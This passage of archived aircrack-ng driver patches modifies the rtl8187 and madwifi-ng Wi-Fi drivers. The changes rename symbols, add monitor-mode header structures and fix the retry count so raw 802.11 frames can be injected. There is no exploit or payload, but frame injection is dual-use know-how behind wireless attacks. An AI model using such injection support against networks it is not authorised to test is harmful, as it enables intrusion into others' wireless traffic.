-static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-04-23 00:09:00.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1679.patch0000644000000000000000000000175710761053203021274 0ustar rootrootdiff -ur madwifi-ng-r1679/ath/if_ath.c patched_madwifi-ng-r1545/ath/if_ath.c --- madwifi-ng-r1679/ath/if_ath.c 2006-07-04 12:23:35.000000000 +0200 +++ patched_madwifi-ng-r1679/ath/if_ath.c 2006-07-08 02:38:59.000000000 +0200 @@ -2248,6 +2248,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2264,7 +2265,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.24v2.patch0000644000000000000000000154751310761053203020704 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return 